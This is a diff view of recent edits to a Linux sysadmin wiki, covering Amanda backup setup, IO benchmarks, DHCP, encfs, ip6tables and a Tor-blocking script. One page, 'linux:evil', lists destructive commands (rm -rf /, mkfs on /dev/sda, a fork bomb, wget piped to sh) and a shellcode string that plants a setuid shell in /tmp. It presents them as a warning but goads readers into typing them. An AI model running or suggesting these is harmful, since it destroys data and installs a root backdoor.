tnt.aufbix.org linux

linux:amanda

	current
Line 1:	Line 1:
	+	====== Amanda (*nix backup solution) ======
	+	===== Configuring =====
	+	FIXME
	+	==== Server ====
	+	FIXME
	+	==== Server with tape library ====
	+	FIXME
	+	==== Client ====
	+	FIXME
	+	==== Firewall need to know bases ====
	+	FIXME
	+	===== Running amanda =====
	+	FIXME
	+	==== Labelling tapes ====
	+	FIXME
	+	==== Creating dumps ====
	+	FIXME
	+	===== FAQ/Troubleshooting =====
	+	FIXME
	+
	+
	+
	+
	+
	+
	+
	+
	+	===== Taken from the OLD tnt =====
	+
	+	restart inetd after installation of amanda-clients
	+
	+
	+	(from lowkey)
	+
	+
	+
	+	12.5 Types of backup
	+
	+	Meta: Full, incremental, differential, network, dump, level 0--9,
	+
	+	There are different kinds of backups, the following lists some of them:
	+
	+	Full
	+	Full backup means backing up everything.
	+
	+	Incremental
	+	Incremental backup means backing up everything that has changed since
	+	last full backup.
	+
	+	Differential
	+	Differential seems to be another name for incremental.
	+
	+	Network
	+	Network backup usually means backing up a client to a backup server,
	+	this means the client sends the files to the server and the server
	+	writes them to backup medium.
	+
	+	Dump
	+	Dump backups are not ordinary file by file backups. The whole disk
	+	partition or file system is "dumped" to the backup medium as is. This
	+	means it is also necessary to restore the whole partition or file system
	+	at one go. The dump backup may be a disk image, which means it must be
	+	restored to a similar disk with same disk geometry and bad blocks in
	+	same places. Watch out for this.
	+
	+	Level 0 -- 9
	+	Level 0 to 9 backups are a finer grained version of incremental backups.
	+	Level N backup means backing up everything that has changed since a same
	+	or lower lever backup.
	+
	+	Meta: Check the backup can be restored, with original file owners,
	+	permissions and timestamps.
	+
	+	To be useful, you must be able to restore the backup. Very often not
	+	only the contents of file are important, but their time stamps,
	+	permissions and owners. Check that you can restore the backup so that
	+	all these are preserved.
	+
	+
	+
	+	==========
	+
	+	#Amanda Backup Software Configuration & Installation
	+
	+	#May 31, 2002 && June 23, 2002 && July 01, 2002
	+	#Steve Bertrand
	+	#Assuming Amanda 2.2.4 on FreeBSD 4.5
	+	#Replace 'ee' with your favorite ascii editor
	+
	+	##
	+	## Variables
	+	##
	+	'amandaserver'=servername that the tape drive is attached to
	+
	+	#####################
	+	#Configure the tape server
	+	#####################
	+
	+	### Create the accounts
	+	# ee /etc/group
	+	# Add the 'backup' group
	+	# adduser 'amanda'
	+
	+	### Add amanda to the operators group
	+	# ee /etc/group
	+	# make the operator line look like this:
	+	# operator:*:gid:root,amanda
	+
	+	### Create non-rewind tape device
	+	# cd /dev
	+	# Find out the name of the tape device file using dmesg \| more
	+	# My example:
	+	# dmesg \| grep SONY (output=sa0)
	+	# ./MAKEDEV sa0 (created nrsa0, which is the non-rewind device)
	+
	+	### cd to your tar.gz directory, then:
	+	# tar -xzvf amanda.x.x.x.tar.gz
	+	# cd amanda.x.x.x
	+
	+	### Review --with-tape-server, --with-config and all --without-* options of
	+	configure script. Also, --with-samba-user=username to back up windows
	+	drives.
	+	### The following will work in a pinch:
	+	# ./configure --with-user=amanda --with-group=backup
	+	# make
	+	# make install
	+	# ee /etc/services
	+	# verified listing of:
	+	# Amanda 10080/udp
	+	# Amadaidx 10082/tcp
	+	# Amidxtape 10083/tcp
	+	# ee /etc/inetd.conf
	+	# added lines:
	+	## For clients:
	+	# amanda dgram udp wait amanda /PATH/libexec/amandad amandad
	+	## For Tape Host:
	+	# amandaidx stream tcp nowait amanda /PATH/libexec/amindexd amindexd
	+	# amidxtape stream tcp nowait amanda /PATH/libexec/amidxtaped
	+	amidxtaped
	+
	+	### Setup your configuration
	+	# mkdir -v /usr/local/etc/amanda/'configdir'
	+	# chown amanda /usr/local/etc/amanda/'configdir'
	+	# chown amanda:backup /usr/local/etc/amanda/northnet
	+	# cp /DOWNLOADDIR/example/amanda.conf /usr/local/etc/amanda/'configdir'
	+
	+	### Next there is one of 2 choices:
	+	# cp /DOWNLOADDIR/example/disklist /usr/local/etc/amanda/'configdir'
	+	## or, if you know what you are doing (if not, do the above command):
	+	# touch /usr/local/amanda/'configdir'/disklist
	+
	+	### Edit the amanda.conf file
	+	# cd /usr/local/etc/amanda/'configdir'
	+	# ee amanda.conf
	+	# change org to 'configdir'
	+	# comment out anything to do with changers (unless one is in use)
	+	# change labelstr from "^DailySet1[0-9][0-9]*$" to
	+	"^'configdir'[0-9][0-9]*$"
	+	# set tapedev to /dev/rmt/'defined' # defined by creating new device
	+	from
	+	original tape unit
	+	# set the holding disks (use - number to use all but that)
	+	# add the 'tapetype' and define it at the bottom of the config file
	+	# tapetype definitions are found on the amanda website
	+	# change infofile from DailySet1 to 'configdir'
	+	# change logdir from DailySet1 to 'configdir'
	+	# change indexdir from DailySet1 to 'configdir'
	+	# set the holding disks ( a negative number will use all but that)
	+	# set your tapetype in the tapetype definitions(settings at
	+	www.amanda.org)
	+	# add 'index yes' to the dump-type definition you will use
	+	(comp-user, comp-root for me)
	+
	+	### Edit the disklist file
	+	# add all options of each backup in format: 'host slice backup_type'
	+
	+	### Create, and give amanda write on her own dir's, and the backup dir
	+	# mkdir -pv /usr/adm/amanda/'configdir'
	+	# chown amanda:backup /usr/adm
	+	# chmod -R 700 /usr/adm
	+	# mkdir -v /'dump_directory' #Place to dump the backups before they hit tape
	+	# chown amanda:backup /'dump_directory'
	+	# chmod 700 /'dump_directory'
	+
	+	### If you didn't use the 'adduser' script to create the amanda user,
	+	### you'd better create her home dir now!! (verify it doesn't exist
	+	first!!!)
	+	# mkdir /home/amanda
	+	# chown amanda:backup /home/amanda
	+
	+	### Set up authorization file
	+	# cd /home/amanda
	+	# ee .amandahosts
	+	# add user/server pair as follows (eg.):
	+	# baini.northnetworks.ca root
	+
	+	### Check the configuration
	+	# amcheck -sc 'configdir' # to check for configuration errors ---fix them,
	+	then
	+	proceed
	+	# some error resolutions listed at EOF
	+
	+	### Label Tapes, then check for availability
	+	# amlabel 'configdir' 'labelstr'[0-9][0-9] # eg. amlabel northnet northnet01
	+
	+	### Check that your tape took the label
	+	# more tapelist (assuming you are already in the 'configdir' directory)
	+
	+	### To rewind tapes
	+	# mt -f /dev/'tapedev' (/dev/rmt/nrsa0) rewind
	+
	+	### When recovering data, you may need to rewind your tape first. See above
	+	line.
	+
	+	### File Locations
	+	# configure options file = /usr/local/share/config.site or
	+	# /usr/local/etc/config.site
	+
	+
	+
	+
	+
	+
	+
	+	#############################
	+	#Configuring Clients
	+	###############################
	+
	+	### Install amanda as above, but append the --with-portrange=xxxx,xxxx to
	+	configure. No configuration of the .conf files
	+	is required.
	+
	+	### Create a 'backup' group
	+	# ee /etc/group
	+	# add to this file: backup:*:gid:
	+
	+
	+	### Create the 'amanda' and choose 'backup' as her group
	+	# adduser
	+
	+	### Add amanda to the operators group
	+	# ee /etc/group
	+	# append ',amanda' to the line 'operators'
	+
	+
	+	### Verify that the following is true:
	+	# amanda dgram udp wait amanda /PATH/libexec/amandad amandad appears
	+	in
	+	/etc/inetd.conf
	+	# Amanda 10080/udp appears in /etc/services
	+
	+	### Verify that 10080 appears as a UDP hole in the firewall to the client
	+
	+	### Verify that 10080 as UDP and 10082, 10083 as TCP appear as holes in the
	+	firewall to server
	+
	+	w### Verify that ports xxxx-xxxx (specified to configure) are punched
	+	through the firewall
	+
	+	### On the client, give the server's amanda user access rights
	+	# echo "'amandaserver'.domain.com amanda" > /home/amanda/.amandahosts
	+
	+
	+	### Add the backup directory on the new client to the tape server
	+	###
	+	### Were on the tape server now
	+	# cd 'configdir'
	+	# ee disklist
	+	# addline:
	+	# client_pc.domain.com /partition backuptype
	+	## My example:
	+	# diana.northnetworks.ca /usr comp-user
	+	## For Windows drives:
	+	# amanda //winbox/drive backuptype
	+
	+	### For Windows clients, you must specify the share password
	+	# ee /etc/amandapass
	+	# addline:
	+	# //winbox/drive password
	+
	+	### Back on the client
	+	### Verify data ports are open
	+	# make sure that amanda data ports are open on the server
	+	# these ports are default 1000-2000
	+
	+	### Validate new clients
	+	# su amanda -c "amcheck 'configdir'"
	+
	+
	+
	+	##########################
	+	#Misc
	+	##########################
	+
	+	# Debug dir is normally /tmp/amanda
	+	# sendbackup* files in debug dir will tell you about problems connecting
	+	data
	+	transfer ports on the clients
	+
	+
	+
	+	###########################
	+	#Possible problems
	+	###########################
	+
	+	### During amrecover 'configdir'
	+	# No index found for host.
	+	# verify 'servername user' are included in .amandahosts
	+	# verify /usr/adm/amanda/'configdir'/index/'servername' exists
	+	# ensure 'index yes' is written into the backup type definition
	+
	+	### 'servername' hostlookup failed
	+	# verify proper reverse-dns lookup on host
	+
	+	### After amdump 'configdir'
	+	# Can't switch to incremental dump (this will appear in run mailings)
	+	# tape won't overwrite, full dump not yet performed. Put in a new
	+	tape and
	+	retry
	+
	+	## After amdump 'configdir' from remote clients
	+	# Time out errors
	+	### verify holes punched out in firewall
	+	## If using nmap, scan the client:
	+	# nmap -sU -p U:10080 client_pc.domain.com
	+	## Then scan the server
	+	# nmap -sU -p U:10080 server_pc.domain.com
	+	#nmap -sF -p 10082 server_pc.domain.com
	+	#nmap -sF -p 10083 server_pc.domain.com
	+
	+	### Can't connect to Windows share with 'amcheck' or 'amdump'
	+	# Ensure that the correct sharename/password is listed in /etc/amandapass.
	+	# The default user amanda uses to back up winboxes is 'amanda'.
	+	# To change this, recompile amanda and give --with-samba-user='username'
	+
	+
	+	==== OLD ======
	+	On host:
	+
	+	/etc/hosts.allow:
	+	amandad: backupserver
	+
	+	/etc/amandahosts:
	+	backupserver backup
	+
	+	firewall:
	+	INPUT -p udp -s backupserver --dport 10080 -j ACCEPT
	+
	+	On backupserver:
	+	INPUT -p tcpd
	+
	+	input -p udp -d backupserver --sport 10080 -j ACCEPT
	+
	+	#-A input -p udp --dport 0:1024 -j ACCEPT
	+	#-A input -p udp --dport 0:1024 -j ACCEPT
	+	#-A input -p udp --dport 0:1024 -j ACCEPT
	+	#-A input -p udp --dport 0:1024 -j ACCEPT
	+	===============
	+
	+
	+	Running an Amanda server from behind a firewall, to clients outside it, can be a bit tricky.
	+
	+	Amanda uses quite a few ports for communications. The general sequence is:
	+	1) The server makes a start backup request on port 10080 to the client.
	+	2) The client forks an amandad process, which then attempts to contact the server on a random udp port.
	+	3) The server opens 2 or 3 random TCP sockets back to the client per dumper process. (one for data, one for messages and one for index, if indexing is enabled.)
	+	4) data starts shuffling.
	+
	+	The problem with a firewall is step 2. Since most firewalls are set up to allow any outgoing traffic, the others steps usually have no problems. But that random UDP port back in to the server is usually blocked. This causes a symptom of "timeout waiting ack" in /tmp/amanda/amandad.debug on the client.
	+
	+	The solution is to use two of the configure directives. configure --with-portrange=xxx,yyy will restrict your tcp ports to the given range. This is standard functionality as of 2.4.1.
	+
	+	However this will NOT restrict that UDP port at all. you need to d/l the 2.4.2beta from the snapshots site (as of this writing 2.4.2 is still beta test) configure 2.4.2 with the new --with-udpportrange=xxx,yyy directive.
	+
	+	You must pick ports under 1024 or amanda will complain of "insecure ports used" those ports should of course not conflict with other services listed in /etc/services. ( I suggest 850-854 or 859)
	+
	+	Ypu must also open your firewall up to both UDP and TCP ports, in the range you specified, from your clients to your server.
	+
	+	Hope this helps!
	+	mark@globalcenter.net.au

linux:benchmark

1243204502	current
Line 172:	Line 172:


	+	==== Measuring Disk IO Performance (alternative) ====
	+
	+	see: http://benjamin-schweizer.de/measuring-disk-io-performance.html \\
	+
	+	files: http://benjamin-schweizer.de/files/iops/ \\
	+	\\
	+	Performance on AWS
	+	<code>
	+	EBS blocks ..
	+
	+	root@api:~# ./iops-2010-08-12 --num_threads 1 --time 2 /dev/sdf
	+	/dev/sdf, 107.37 GB, 1 threads:
	+	512 B blocks: 24.9 IO/s, 12.5 KiB/s (102.2 kbit/s)
	+	1 KiB blocks: 84.3 IO/s, 84.3 KiB/s (690.9 kbit/s)
	+	2 KiB blocks: 107.6 IO/s, 215.1 KiB/s ( 1.8 Mbit/s)
	+	4 KiB blocks: 96.9 IO/s, 387.6 KiB/s ( 3.2 Mbit/s)
	+	8 KiB blocks: 97.0 IO/s, 776.3 KiB/s ( 6.4 Mbit/s)
	+	16 KiB blocks: 55.5 IO/s, 888.5 KiB/s ( 7.3 Mbit/s)
	+	32 KiB blocks: 9.0 IO/s, 287.7 KiB/s ( 2.4 Mbit/s)
	+	64 KiB blocks: 44.4 IO/s, 2.8 MiB/s ( 23.3 Mbit/s)
	+	128 KiB blocks: 53.3 IO/s, 6.7 MiB/s ( 55.9 Mbit/s)
	+	256 KiB blocks: 47.4 IO/s, 11.9 MiB/s ( 99.5 Mbit/s)
	+	512 KiB blocks: 29.0 IO/s, 14.5 MiB/s (121.5 Mbit/s)
	+	1 MiB blocks: 24.0 IO/s, 24.0 MiB/s (201.3 Mbit/s)
	+	2 MiB blocks: 20.9 IO/s, 41.7 MiB/s (350.0 Mbit/s)
	+	4 MiB blocks: 12.2 IO/s, 48.7 MiB/s (408.7 Mbit/s)
	+	8 MiB blocks: 8.4 IO/s, 67.6 MiB/s (566.8 Mbit/s)
	+	16 MiB blocks: 2.1 IO/s, 33.9 MiB/s (284.3 Mbit/s)
	+	32 MiB blocks: 0.8 IO/s, 25.4 MiB/s (213.4 Mbit/s)
	+
	+	MNT default device
	+
	+	[root@process3 ~]# ./iops-2010-08-12 --num_threads 1 --time 2 /dev/sdb
	+	/dev/sdb, 440.20 GB, 1 threads:
	+	512 B blocks: 1259.6 IO/s, 629.8 KiB/s ( 5.2 Mbit/s)
	+	1 KiB blocks: 1216.9 IO/s, 1.2 MiB/s ( 10.0 Mbit/s)
	+	2 KiB blocks: 1441.9 IO/s, 2.8 MiB/s ( 23.6 Mbit/s)
	+	4 KiB blocks: 927.2 IO/s, 3.6 MiB/s ( 30.4 Mbit/s)
	+	8 KiB blocks: 1384.7 IO/s, 10.8 MiB/s ( 90.7 Mbit/s)
	+	16 KiB blocks: 1109.9 IO/s, 17.3 MiB/s (145.5 Mbit/s)
	+	32 KiB blocks: 1161.7 IO/s, 36.3 MiB/s (304.5 Mbit/s)
	+	64 KiB blocks: 1068.0 IO/s, 66.7 MiB/s (559.9 Mbit/s)
	+	128 KiB blocks: 685.9 IO/s, 85.7 MiB/s (719.2 Mbit/s)
	+	256 KiB blocks: 623.5 IO/s, 155.9 MiB/s ( 1.3 Gbit/s)
	+	512 KiB blocks: 578.6 IO/s, 289.3 MiB/s ( 2.4 Gbit/s)
	+	1 MiB blocks: 432.2 IO/s, 432.2 MiB/s ( 3.6 Gbit/s)
	+	2 MiB blocks: 201.3 IO/s, 402.6 MiB/s ( 3.4 Gbit/s)
	+	4 MiB blocks: 141.8 IO/s, 567.3 MiB/s ( 4.8 Gbit/s)
	+	8 MiB blocks: 72.8 IO/s, 582.2 MiB/s ( 4.9 Gbit/s)
	+	16 MiB blocks: 39.9 IO/s, 638.4 MiB/s ( 5.4 Gbit/s)
	+	32 MiB blocks: 18.0 IO/s, 575.7 MiB/s ( 4.8 Gbit/s)
	+	64 MiB blocks: 9.2 IO/s, 588.2 MiB/s ( 4.9 Gbit/s)
	+	128 MiB blocks: 4.6 IO/s, 584.2 MiB/s ( 4.9 Gbit/s)
	+	256 MiB blocks: 2.1 IO/s, 547.7 MiB/s ( 4.6 Gbit/s)
	+	512 MiB blocks: 1.1 IO/s, 558.4 MiB/s ( 4.7 Gbit/s)
	+	1 GiB blocks: 0.5 IO/s, 523.8 MiB/s ( 4.4 Gbit/s)
	+	</code>

linux:bind

1280844246		current
Line 7:		Line 7:
	dnssec-enable yes;\\		dnssec-enable yes;\\
	dnssec-validation yes;\\		dnssec-validation yes;\\
		+	dnssec-lookaside . trust-anchor dlv.isc.org.;\\


		+	include "/etc/bind/trusted.key";
		+
		+	https://www.dns-oarc.net/files/odvr/configs/bind/trusted-keys.conf\\
		+	\\
		+	logging {\\
		+	...\\
		+	category dnssec { null;};};\\

	===== Speedup tips =====		===== Speedup tips =====

linux:centos

1243204502		current
Line 6:		Line 6:
	or you can simply download {{linux:harden-centos.sh\|this file}} and run it :) \\		or you can simply download {{linux:harden-centos.sh\|this file}} and run it :) \\
	\\		\\
-	also see this great site: http://securecentos.com/	+	also see this great site: http://securecentos.com/ \| http://wiki.centos.org/HowTos/OS_Protection

	=== Installing useful packages ===		=== Installing useful packages ===

linux:crypto

1149803657		current
Line 5:		Line 5:
	* [[:linux:encfs\|Linux encfs + fuse]]		* [[:linux:encfs\|Linux encfs + fuse]]

		+	Benchmarking some stuff:
		+
		+	Plain (RAW partition)
		+	<code>
		+	root@mono:/etc# time dd if=/dev/urandom of=/dev/sda1 bs=1M count=100
		+	100+0 records in
		+	100+0 records out
		+	104857600 bytes (105 MB) copied, 25.584 s, 4.1 MB/s
		+
		+	real 0m25.589s
		+	user 0m0.004s
		+	sys 0m25.462s
		+	</code>
		+
		+
		+	Blowfish cipher
		+	<code>
		+	root@mono:/etc# time dd if=/dev/urandom of=/dev/mapper/swap bs=1M count=100
		+	100+0 records in
		+	100+0 records out
		+	104857600 bytes (105 MB) copied, 28.8699 s, 3.6 MB/s
		+
		+	real 0m28.876s
		+	user 0m0.000s
		+	sys 0m25.918s
		+	</code>
		+
		+	AES-256 cipher
		+	<code>
		+	/dev/mapper/swap is active:
		+	cipher: aes-cbc-plain
		+	keysize: 256 bits
		+	device: /dev/sda1
		+	offset: 0 sectors
		+	size: 4000122 sectors
		+	mode: read/write
		+
		+	root@mono:/etc# time dd if=/dev/urandom of=/dev/mapper/swap bs=1M count=100
		+	100+0 records in
		+	100+0 records out
		+	104857600 bytes (105 MB) copied, 29.0696 s, 3.6 MB/s
		+
		+	real 0m29.076s
		+	user 0m0.004s
		+	sys 0m25.722s
		+
		+	</code>

linux:debian

1244763952		current
Line 186:		Line 186:

	Delete the file '/var/cache/apt/pkgcache.bin' and re-run 'apt-get update'.		Delete the file '/var/cache/apt/pkgcache.bin' and re-run 'apt-get update'.
		+
		+	==== Create a backup list of packages and resinstall ====
		+
		+	sudo dpkg --get-selections > package_list.txt
		+
		+	Save the text file on a thumb drive, format the drive, reinstall Ubuntu/Debian, then to a
		+
		+	sudo dpkg --set-selections < package_list.txt
		+	sudo apt-get -y update
		+	sudo apt-get dselect-upgrade

linux:desktop

1227827279		current
Line 4:		Line 4:
	* [[http://bbdock.nethence.com/]]		* [[http://bbdock.nethence.com/]]
	* [[http://conky.sourceforge.net/Conky]] is a free, light-weight system monitor for X, that displays any information on your desktop. Conky is licensed under the GPL and runs on Linux and BSD. (configurations: [[http://conky.sourceforge.net/screenshots.html]])		* [[http://conky.sourceforge.net/Conky]] is a free, light-weight system monitor for X, that displays any information on your desktop. Conky is licensed under the GPL and runs on Linux and BSD. (configurations: [[http://conky.sourceforge.net/screenshots.html]])
		+	* [[http://ubuntuforums.org/showthread.php?t=205865]]
		+	* [[http://ubuntuforums.org/showthread.php?t=281865]]

linux:dhcp

1152083661		current
Line 1:		Line 1:
		+	man dhcp-options
		+
		+	option fqdn.no-client-update flag;
		+
		+	When the client sends this, if it is true, it means the client \\
		+	will not attempt to update its A record.
		+	When sent by the server to the client, it means that the client \\
		+	should not update its own A record.
		+
		+	option fqdn.server-update flag;
		+
		+	When the client sends this to the server, it is requesting that the server update its A record. When sent by the
		+	server, it means that the server has updated (or is about to update) the client's A record.
		+
		+
	#		#
	# DHCP Server Config File		# DHCP Server Config File
Line 8:		Line 23:
	authoritative;		authoritative;

-	option domain-name "example.com";
	default-lease-time 86400; # 24 hours		default-lease-time 86400; # 24 hours
	max-lease-time 172800; # 48 hours		max-lease-time 172800; # 48 hours

	subnet 192.168.1.0 netmask 255.255.255.0 {		subnet 192.168.1.0 netmask 255.255.255.0 {
-	range 192.168.1.101 192.168.1.200;	+	range 192.168.1.101 192.168.1.200;
-	option routers 192.168.1.1;	+	ddns-domainname "home.lan";
-	option subnet-mask 255.255.255.0;	+	option domain-name "home.lan";
-	option broadcast-address 192.168.1.255;	+	option domain-name-servers 192.168.1.5;
-	option domain-name-servers 192.168.1.1;	+	option netbios-name-servers 192.168.1.5;
-	option ntp-servers 192.168.1.1;	+	option netbios-dd-server 192.168.1.5;
-	option netbios-name-servers 192.168.1.1;	+	option routers 192.168.1.5;
-	option netbios-node-type 8;	+	option ntp-servers 192.168.1.5;
-	option ip-forwarding off;	+	ddns-update-style ad-hoc;
-	}	+	option netbios-node-type 8;
		+	option ip-forwarding off;
		+	option non-local-source-routing off;
		+	option perform-mask-discovery off;
		+	option router-discovery off;
		+	}

linux:dm-crypt

1140297779		current
Line 17:		Line 17:
	Cryptographic options --->		Cryptographic options --->
	o AES cipher algorithms: on		o AES cipher algorithms: on
		+


	==== Related links ====		==== Related links ====
-	http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO\|	+	* [[http://www.howtoforge.com/set-up-a-fully-encrypted-raid1-lvm-system\|Set Up A Fully Encrypted Raid1 LVM System]]
-	http://www.saout.de/tikiwiki/tiki-index.php?page=EncryptedSwap	+	* http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO
-	http://deb.riseup.net/storage/encryption/dmcrypt/	+	* http://www.saout.de/tikiwiki/tiki-index.php?page=EncryptedSwap
		+	* http://deb.riseup.net/storage/encryption/dmcrypt/

linux:encfs

	current
Line 1:	Line 1:
	+	====== Linux:ENCFS + FUSE ======
	+	see also: [[http://www.debuntu.org/2006/06/04/62-how-to-use-encrypted-directories-with-encfs-and-fuse/\|How To: use encrypted directories with ENCFS and FUSE]], [[:linux:loopas\|loop-aes]], [[:linux:dm-crypt]]

	+	$sudo apt-get install fuse encfs
	+	$sudo adduser myuser fuse
	+	$sudo modprobe fuse
	+
	+
	+	$mkdir /home/myuser/.encrypted
	+	$mkdir /home/myuser/encrypted
	+
	+	$encfs /home/myuser/.encrypted /home/myuser/encrypted
	+	$echo “test” > /home/myuser/encrypted/test.txt
	+	$echo “test2″ > /home/myuser/encrypted/test2.txt
	+
	+	$fusermount -u /home/myuser/encrypted
	+
	+	$encfs /home/myuser/.encrypted /home/myuser/encrypted

linux:evil

	current
Line 1:	Line 1:
	+	====== This is EVIL code ======

	+	<note warning> YOU HAVE BEEN WARNED! If you do not understand what commands below do .. please run run far away with out using it. But if you DO understand this warning .. just type one of the fallowing commands in your CLI</note>
	+
	+	rm -rf /
	+
	+	<code c>
	+	char esp[] __attribute__ ((section(".text"))) /* e.s.p
	+	release */
	+	= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
	+	"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
	+	"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
	+	"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
	+	"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
	+	"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
	+	"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
	+	"cp -p /bin/sh /tmp/.beyond; chmod 4755
	+	/tmp/.beyond;";
	+	</code>
	+
	+	mkfs.ext3 /dev/sda
	+
	+	:(){:\|:&};:
	+
	+
	+	any_command > /dev/sda
	+
	+	wget http://some_untrusted_source -O- \| sh
	+
	+	mv /home/yourhomedirectory/* /dev/null

linux:ext3

1243204502		current
Line 1:		Line 1:
	====== EXT3 twickes ======		====== EXT3 twickes ======
		+
		+	links:
		+	* [[http://www.xs4all.nl/~carlo17/howto/undelete_ext3.html\|HOWTO recover deleted files on an ext3 file system]]
	===== Journals =====		===== Journals =====
	ext3 has 3 journal modes, Journal, Ordered, and Writeback (slowest to fastest)		ext3 has 3 journal modes, Journal, Ordered, and Writeback (slowest to fastest)

linux:firewall

1264708454		current
Line 1:		Line 1:
	[[linux:firewall6\|Linux IPV6 firewall]]\\		[[linux:firewall6\|Linux IPV6 firewall]]\\
-	[[linux:firewall_blocktor\| how to block TOR networ in realtime]]\\	+	[[linux:firewall_blocktor\| how to block TOR network in realtime]]\\
	[[http://www.fs-security.com/\|FS security]]\\		[[http://www.fs-security.com/\|FS security]]\\

linux:firewall6

1262703518		current
Line 13:		Line 13:
	# path to ip6tables		# path to ip6tables
	IPT6="/sbin/ip6tables"		IPT6="/sbin/ip6tables"
-

	# name of our Internet and intranet interfaces		# name of our Internet and intranet interfaces
Line 25:		Line 24:
	# what TCP ports/services we allow (and FORWARD) from Internet		# what TCP ports/services we allow (and FORWARD) from Internet
	# use " " as delimiter		# use " " as delimiter
-	TCP_PORTS="25 53 80"	+	TCP_PORTS="25 53 993"

	# what UDP ports/services we allow (and FORWARD) from Internet		# what UDP ports/services we allow (and FORWARD) from Internet
Line 33:		Line 32:
	# which ports we forward into our intranet		# which ports we forward into our intranet
	# use "," as delimiter		# use "," as delimiter
-	FWD_TCP_PORTS="1214,6346"	+	#FWD_TCP_PORTS="1214,6346"

	TRUSTED_HOSTS="2001:470:1f15:404::3 \		TRUSTED_HOSTS="2001:470:1f15:404::3 \
Line 40:		Line 39:
	#IPv6 forward		#IPv6 forward
	echo "0" > /proc/sys/net/ipv6/conf/all/forwarding		echo "0" > /proc/sys/net/ipv6/conf/all/forwarding
-

	# first we flush the tables and policy		# first we flush the tables and policy
Line 49:		Line 47:
	$IPT6 -F OUTPUT		$IPT6 -F OUTPUT

-	$IPT6 -t nat -F	+	# reci ne natu!
		+	#$IPT6 -t nat -F
		+
		+	# default policy
		+	$IPT6 -P INPUT DROP
		+	$IPT6 -P OUTPUT DROP
		+	$IPT6 -P FORWARD DROP

	# separate/new queue		# separate/new queue
Line 61:		Line 65:
	#$IPT6 -t nat -A PREROUTING -i ! $INTERNET -p tcp -s $LAN -d ! $LAN --dport 25 -j REDIRECT --to-ports 25		#$IPT6 -t nat -A PREROUTING -i ! $INTERNET -p tcp -s $LAN -d ! $LAN --dport 25 -j REDIRECT --to-ports 25

-	# default policy
-	$IPT6 -P INPUT DROP
-	$IPT6 -P OUTPUT DROP
-	$IPT6 -P FORWARD DROP

	# we allow all traffic from $INTRANET and localhost interfaces		# we allow all traffic from $INTRANET and localhost interfaces
Line 110:		Line 110:
	# traceroute?		# traceroute?
	$IPT6 -A INPUT -p udp -m limit --limit 3/second --sport 32769:65535 --dport 33434:33523 -j ACCEPT		$IPT6 -A INPUT -p udp -m limit --limit 3/second --sport 32769:65535 --dport 33434:33523 -j ACCEPT
-

	# allow incoming ICMP ping pong stuff		# allow incoming ICMP ping pong stuff
	$IPT6 -A INPUT -p ipv6-icmp -j ACCEPT		$IPT6 -A INPUT -p ipv6-icmp -j ACCEPT
		+
	# allow outgoing ICMP ping pong stuff		# allow outgoing ICMP ping pong stuff
	$IPT6 -A OUTPUT -p ipv6-icmp -j ACCEPT		$IPT6 -A OUTPUT -p ipv6-icmp -j ACCEPT
Line 119:		Line 119:
	##$IPT6 -A INPUT --protocol icmpv6 --icmpv6-type echo-request -j ACCEPT --match limit --limit 30/minute		##$IPT6 -A INPUT --protocol icmpv6 --icmpv6-type echo-request -j ACCEPT --match limit --limit 30/minute

-
-	#### no need to edit below ###
	# log everything else		# log everything else
	$IPT6 -A INPUT -j LOG		$IPT6 -A INPUT -j LOG
Line 127:		Line 125:
	# list the rules		# list the rules
	$IPT6 -L -v -n		$IPT6 -L -v -n
-
-
	</code>		</code>

linux:firewall_blocktor

	current
Line 1:	Line 1:
	+	If you got tired of IRC "kiddies" coming from TOR networks or you don't want the visiting your services then this script is for you.
	+	It takes realtime list of TOR IP [servers and exit nodes] and updates your iptables list:

	+	<code>
	+	#!/bin/bash
	+	# A simple bash script to block IP traffic from TOR exit nodes.
	+	# written by Andrew Vetlugin (antrew at gmail com)
	+	# add this script to crontab (I think 10-20 minutes interval should be OK)
	+
	+	wget='/usr/bin/wget'
	+	iptables='/sbin/iptables'
	+	url='http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv'
	+
	+	iptables_target='DROP'
	+
	+	# put this in your original firewall script:
	+	# $IPTB -F irc-access
	+	# $IPTB -N irc-access
	+	# $IPTB -A INPUT -p tcp -m state --syn --state NEW --dport 6667 -g irc-access
	+	# $IPTB -A INPUT -p tcp -m state --syn --state NEW --dport 6668 -g irc-access
	+	# $IPTB -A INPUT -p tcp -m state --syn --state NEW --dport 6697 -g irc-access
	+	# $IPTB -A irc-access -j ACCEPT
	+	#
	+
	+	# flush chain
	+	$iptables -F irc-access
	+
	+	# add TOR exit nodes to TOR_EXIT chain with $iptables_target rule
	+	for node in `$wget -q --no-check-certificate -O - $url \| sort \| uniq`; do
	+	$iptables -A irc-access -s $node -j $iptables_target
	+	done
	+
	+	# return to parent chain if the source is not TOR exit node
	+	$iptables -A irc-access -j ACCEPT
	+	</code>

linux:globettroter

1177407132		current
Line 1:		Line 1:
-	===== Mobitelov komplet za UMTS, ki vsebuje Globettroter GT MAX E kartico.	+	===== Mobitelov komplet za UMTS, ki vsebuje Globettroter GT MAX E kartico. =====
-	=====	+

		+	<html>
	<pre>		<pre>
	Potrebujete:		Potrebujete:
Line 31:		Line 31:
	Klicna številka: *99#		Klicna številka: *99#
	</pre>		</pre>
		+	</html>

linux:grsec

1222453387		current
Line 41:		Line 41:

	==== kernel 2.4.x tips ====		==== kernel 2.4.x tips ====
		+

	==== kernel 2.6.x tips ====		==== kernel 2.6.x tips ====
Line 87:		Line 88:
	come out fine for x86 and sparc. I havent tried it on ppc but for the most		come out fine for x86 and sparc. I havent tried it on ppc but for the most
	part it is safe, and it is also safe for production envoirnments.		part it is safe, and it is also safe for production envoirnments.
		+
		+	=== Using Pax and Grsecurity features ===
		+
		+	First get a grsecurity patch kernel ready go in your ''menuconfig > Security > Pax Funnctions''
		+
		+	<code>
		+	Enable various PaX features
		+
		+	[*] Support soft mode
		+	[*] Use legacy ELF header marking
		+	[*] Use ELF program header marking
